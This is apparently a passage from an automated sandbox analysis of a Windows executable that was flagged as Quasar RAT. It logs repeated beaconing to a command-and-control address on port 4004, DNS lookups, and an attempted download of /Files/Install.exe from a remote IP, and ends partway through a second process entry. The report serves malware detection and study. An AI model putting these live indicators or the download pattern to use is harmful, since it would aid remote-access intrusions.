Jan 1, 2025 06:00:33.391958952 CET	50195	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:33.396487951 CET	4004	50193	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:33.396542072 CET	50193	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:33.396815062 CET	4004	50195	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:33.396872997 CET	50195	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:33.397233009 CET	50195	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:33.402060986 CET	4004	50195	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:34.154458046 CET	4004	50195	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:34.156326056 CET	50195	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:34.161190987 CET	4004	50195	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:34.966219902 CET	50195	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:34.969969988 CET	50197	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:34.971290112 CET	4004	50195	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:34.971584082 CET	50195	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:34.974741936 CET	4004	50197	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:34.974881887 CET	50197	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:34.975123882 CET	50197	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:34.979954958 CET	4004	50197	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:35.602812052 CET	4004	50197	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:35.603554010 CET	50197	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:35.608333111 CET	4004	50197	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:36.351959944 CET	50199	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:36.351959944 CET	50197	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:36.356806040 CET	4004	50199	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:36.356966019 CET	50199	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:36.357002974 CET	4004	50197	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:36.357172966 CET	50199	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:36.357172966 CET	50197	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:36.361964941 CET	4004	50199	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:36.975732088 CET	4004	50199	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:36.979991913 CET	50199	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:36.984823942 CET	4004	50199	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:37.738218069 CET	50199	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:37.738745928 CET	50201	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:37.743243933 CET	4004	50199	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:37.743295908 CET	50199	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:37.743592978 CET	4004	50201	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:37.743655920 CET	50201	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:37.743870020 CET	50201	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:37.748672009 CET	4004	50201	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:38.389394045 CET	4004	50201	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:38.392220974 CET	50201	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:38.397093058 CET	4004	50201	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:39.113192081 CET	50201	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:39.113944054 CET	50203	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:39.118139029 CET	4004	50201	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:39.118181944 CET	50201	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:39.118716955 CET	4004	50203	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:39.118777990 CET	50203	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:39.129065990 CET	50203	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:39.133804083 CET	4004	50203	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:39.730947018 CET	4004	50203	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:39.731780052 CET	50203	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:39.736591101 CET	4004	50203	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:40.813205957 CET	50203	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:40.813966990 CET	50205	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:40.818240881 CET	4004	50203	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:40.818358898 CET	50203	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:40.818777084 CET	4004	50205	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:40.818866968 CET	50205	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:40.819084883 CET	50205	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:40.823851109 CET	4004	50205	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:41.467792034 CET	4004	50205	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:41.468581915 CET	50205	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:41.474605083 CET	4004	50205	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:42.388093948 CET	50205	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:42.388525963 CET	50207	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:42.393228054 CET	4004	50205	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:42.393300056 CET	4004	50207	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:42.393331051 CET	50205	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:42.393420935 CET	50207	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:42.393976927 CET	50207	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:42.398703098 CET	4004	50207	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:43.021279097 CET	4004	50207	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:43.022069931 CET	50207	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:43.029766083 CET	4004	50207	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:43.901904106 CET	50207	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:43.902271986 CET	50209	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:43.906995058 CET	4004	50207	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:43.907090902 CET	4004	50209	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:43.907105923 CET	50207	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:43.907150030 CET	50209	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:43.907306910 CET	50209	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:43.912074089 CET	4004	50209	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:44.545141935 CET	4004	50209	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:44.545977116 CET	50209	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:44.550764084 CET	4004	50209	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:45.420917034 CET	50209	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:45.421370983 CET	50211	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:45.426090956 CET	4004	50209	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:45.426140070 CET	50209	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:45.426158905 CET	4004	50211	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:45.426220894 CET	50211	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:45.426434994 CET	50211	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:45.431250095 CET	4004	50211	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:46.059307098 CET	4004	50211	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:46.059834003 CET	50211	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:46.064686060 CET	4004	50211	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:47.046212912 CET	50211	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:47.046583891 CET	50213	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:47.051330090 CET	4004	50211	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:47.051398993 CET	4004	50213	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:47.051541090 CET	50213	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:47.051544905 CET	50211	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:47.051769972 CET	50213	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:47.056505919 CET	4004	50213	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:47.712608099 CET	4004	50213	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:47.713699102 CET	50213	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:47.718528986 CET	4004	50213	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:48.652993917 CET	50213	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:48.653163910 CET	50215	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:48.657962084 CET	4004	50215	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:48.658063889 CET	4004	50213	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:48.658169985 CET	50213	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:48.658215046 CET	50215	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:48.661988020 CET	50215	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:48.666801929 CET	4004	50215	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:49.289153099 CET	4004	50215	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:49.289949894 CET	50215	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:49.294768095 CET	4004	50215	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:50.305171967 CET	50215	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:50.305577993 CET	50217	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:50.310317993 CET	4004	50215	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:50.310389042 CET	4004	50217	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:50.310448885 CET	50215	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:50.310537100 CET	50217	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:50.310760021 CET	50217	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:50.315552950 CET	4004	50217	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:50.930394888 CET	4004	50217	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:50.942006111 CET	50217	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:50.946907043 CET	4004	50217	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:51.842931032 CET	50217	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:51.843417883 CET	50219	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:51.847982883 CET	4004	50217	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:51.848025084 CET	50217	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:51.848249912 CET	4004	50219	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:51.848298073 CET	50219	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:51.848598003 CET	50219	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:51.853343010 CET	4004	50219	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:52.467792988 CET	4004	50219	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:52.470004082 CET	50219	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:52.474875927 CET	4004	50219	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:53.377620935 CET	50219	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:53.378195047 CET	50221	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:53.382775068 CET	4004	50219	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:53.382826090 CET	50219	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:53.382965088 CET	4004	50221	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:53.383017063 CET	50221	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:53.383233070 CET	50221	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:53.387999058 CET	4004	50221	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:54.011827946 CET	4004	50221	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:54.012610912 CET	50221	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:54.017364025 CET	4004	50221	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:55.002511024 CET	50221	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:55.002511024 CET	50223	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:55.007977009 CET	4004	50223	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:55.007987976 CET	4004	50221	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:55.009078979 CET	50221	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:55.009078979 CET	50223	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:55.009332895 CET	50223	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:55.014111042 CET	4004	50223	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:55.638022900 CET	4004	50223	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:55.638838053 CET	50223	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:55.644185066 CET	4004	50223	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:56.655569077 CET	50225	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:56.655586004 CET	50223	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:56.660408974 CET	4004	50225	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:56.660552025 CET	50225	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:56.660761118 CET	50225	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:56.660835028 CET	4004	50223	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:56.662082911 CET	50223	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:56.665494919 CET	4004	50225	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:57.280466080 CET	4004	50225	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:57.280981064 CET	50225	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:57.285742044 CET	4004	50225	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:58.248878002 CET	50225	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:58.249299049 CET	50227	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:58.253983974 CET	4004	50225	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:58.254085064 CET	4004	50227	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:58.254198074 CET	50225	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:58.254198074 CET	50227	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:58.254401922 CET	50227	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:58.259141922 CET	4004	50227	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:58.871736050 CET	4004	50227	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:58.872560024 CET	50227	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:58.877321005 CET	4004	50227	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:59.889481068 CET	50227	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:59.890604019 CET	50229	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:59.894599915 CET	4004	50227	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:59.894644976 CET	50227	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:59.895425081 CET	4004	50229	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:59.895479918 CET	50229	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:59.895926952 CET	50229	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:59.900943995 CET	4004	50229	193.31.28.181	192.168.2.4
Jan 1, 2025 06:01:00.525264978 CET	4004	50229	193.31.28.181	192.168.2.4
Jan 1, 2025 06:01:00.529036045 CET	50229	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:01:00.534097910 CET	4004	50229	193.31.28.181	192.168.2.4
Jan 1, 2025 06:01:01.329806089 CET	50229	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:01:01.330159903 CET	50231	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:01:01.335355997 CET	4004	50229	193.31.28.181	192.168.2.4
Jan 1, 2025 06:01:01.335369110 CET	4004	50231	193.31.28.181	192.168.2.4
Jan 1, 2025 06:01:01.335414886 CET	50229	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:01:01.335447073 CET	50231	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:01:01.335736036 CET	50231	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:01:01.342298985 CET	4004	50231	193.31.28.181	192.168.2.4
Jan 1, 2025 06:01:01.983504057 CET	4004	50231	193.31.28.181	192.168.2.4
Jan 1, 2025 06:01:01.984836102 CET	50231	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:01:01.991317987 CET	4004	50231	193.31.28.181	192.168.2.4
Jan 1, 2025 06:01:03.234977007 CET	50231	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:01:03.235563040 CET	50233	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:01:03.243889093 CET	4004	50233	193.31.28.181	192.168.2.4
Jan 1, 2025 06:01:03.243947983 CET	50233	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:01:03.244148016 CET	50233	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:01:03.244163036 CET	4004	50231	193.31.28.181	192.168.2.4
Jan 1, 2025 06:01:03.244223118 CET	50231	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:01:03.248907089 CET	4004	50233	193.31.28.181	192.168.2.4
Jan 1, 2025 06:01:03.863707066 CET	4004	50233	193.31.28.181	192.168.2.4
Jan 1, 2025 06:01:03.864373922 CET	50233	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:01:03.870086908 CET	4004	50233	193.31.28.181	192.168.2.4
Jan 1, 2025 06:01:05.489481926 CET	50233	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:01:05.495481968 CET	4004	50233	193.31.28.181	192.168.2.4
Jan 1, 2025 06:01:05.495533943 CET	50233	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:01:05.497050047 CET	50235	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:01:05.503463984 CET	4004	50235	193.31.28.181	192.168.2.4
Jan 1, 2025 06:01:05.503526926 CET	50235	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:01:05.504014015 CET	50235	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:01:05.509207964 CET	4004	50235	193.31.28.181	192.168.2.4
Jan 1, 2025 06:01:06.119986057 CET	4004	50235	193.31.28.181	192.168.2.4
Jan 1, 2025 06:01:06.124046087 CET	50235	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:01:06.128828049 CET	4004	50235	193.31.28.181	192.168.2.4
Jan 1, 2025 06:01:06.909198046 CET	50235	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:01:06.910024881 CET	50237	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:01:06.914203882 CET	4004	50235	193.31.28.181	192.168.2.4
Jan 1, 2025 06:01:06.914820910 CET	4004	50237	193.31.28.181	192.168.2.4
Jan 1, 2025 06:01:06.914908886 CET	50235	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:01:06.914911032 CET	50237	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:01:06.915427923 CET	50237	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:01:06.920185089 CET	4004	50237	193.31.28.181	192.168.2.4
Jan 1, 2025 06:01:07.533744097 CET	4004	50237	193.31.28.181	192.168.2.4
Jan 1, 2025 06:01:07.534476995 CET	50237	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:01:07.539261103 CET	4004	50237	193.31.28.181	192.168.2.4

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 1, 2025 05:57:22.634469032 CET	1.1.1.1	192.168.2.4	0xc499	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 1, 2025 05:57:22.634469032 CET	1.1.1.1	192.168.2.4	0xc499	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 1, 2025 05:58:44.570470095 CET	1.1.1.1	192.168.2.4	0xcbe9	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 1, 2025 05:58:44.570470095 CET	1.1.1.1	192.168.2.4	0xcbe9	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 1, 2025 05:59:04.271455050 CET	1.1.1.1	192.168.2.4	0x198c	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 1, 2025 05:59:04.271455050 CET	1.1.1.1	192.168.2.4	0x198c	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 1, 2025 05:59:38.061583042 CET	1.1.1.1	192.168.2.4	0x39e2	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 1, 2025 05:59:38.061583042 CET	1.1.1.1	192.168.2.4	0x39e2	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 1, 2025 05:59:57.634542942 CET	1.1.1.1	192.168.2.4	0x7bb	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 1, 2025 05:59:57.634542942 CET	1.1.1.1	192.168.2.4	0x7bb	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 1, 2025 06:00:22.937120914 CET	1.1.1.1	192.168.2.4	0x5820	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 1, 2025 06:00:22.937120914 CET	1.1.1.1	192.168.2.4	0x5820	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 1, 2025 06:00:39.795881987 CET	1.1.1.1	192.168.2.4	0xc227	No error (0)	edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 1, 2025 06:00:39.795881987 CET	1.1.1.1	192.168.2.4	0xc227	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.35	A (IP address)	IN (0x0001)	false
Jan 1, 2025 06:00:39.795881987 CET	1.1.1.1	192.168.2.4	0xc227	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.20	A (IP address)	IN (0x0001)	false
Jan 1, 2025 06:00:39.795881987 CET	1.1.1.1	192.168.2.4	0xc227	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.36	A (IP address)	IN (0x0001)	false
Jan 1, 2025 06:00:39.795881987 CET	1.1.1.1	192.168.2.4	0xc227	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.34	A (IP address)	IN (0x0001)	false
Jan 1, 2025 06:00:39.795881987 CET	1.1.1.1	192.168.2.4	0xc227	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.39	A (IP address)	IN (0x0001)	false
Jan 1, 2025 06:00:39.795881987 CET	1.1.1.1	192.168.2.4	0xc227	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.23	A (IP address)	IN (0x0001)	false
Jan 1, 2025 06:00:39.795881987 CET	1.1.1.1	192.168.2.4	0xc227	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.18	A (IP address)	IN (0x0001)	false
Jan 1, 2025 06:00:39.795881987 CET	1.1.1.1	192.168.2.4	0xc227	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.19	A (IP address)	IN (0x0001)	false
Jan 1, 2025 06:00:58.929327011 CET	1.1.1.1	192.168.2.4	0xd950	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 1, 2025 06:00:58.929327011 CET	1.1.1.1	192.168.2.4	0xd950	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

45.83.244.141

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	45.83.244.141	80	7324	C:\Users\user\Desktop\Dd5DwDCHJD.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 05:57:04.067773104 CET	80	OUT	GET /Files/Install.exe HTTP/1.1 Host: 45.83.244.141 Connection: Keep-Alive
Jan 1, 2025 05:57:04.685983896 CET	540	IN	HTTP/1.1 404 Not Found Date: Wed, 01 Jan 2025 04:57:04 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 Content-Length: 299 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 38 20 28 57 69 6e 36 34 29 20 4f 70 65 6e 53 53 4c 2f 33 2e 31 2e 33 20 50 48 50 2f 38 2e 32 2e 31 32 20 53 65 72 76 65 72 20 61 74 20 34 35 2e 38 33 2e 32 34 34 2e 31 34 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 Server at 45.83.244.141 Port 80</address></body></html>

Target ID:	0
Start time:	23:57:01
Start date:	31/12/2024
Path:	C:\Users\user\Desktop\Dd5DwDCHJD.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\Dd5DwDCHJD.exe"
Imagebase:	0xcb0000
File size:	3'268'096 bytes
MD5 hash:	6D6C9C719E2F757442374AF378C343A7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Quasar, Description: Yara detected Quasar RAT, Source: 00000000.00000002.1741000374.000000001BE36000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Quasar, Description: Yara detected Quasar RAT, Source: 00000000.00000000.1662187645.0000000000CB2000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	23:57:02
Start date:	31/12/2024
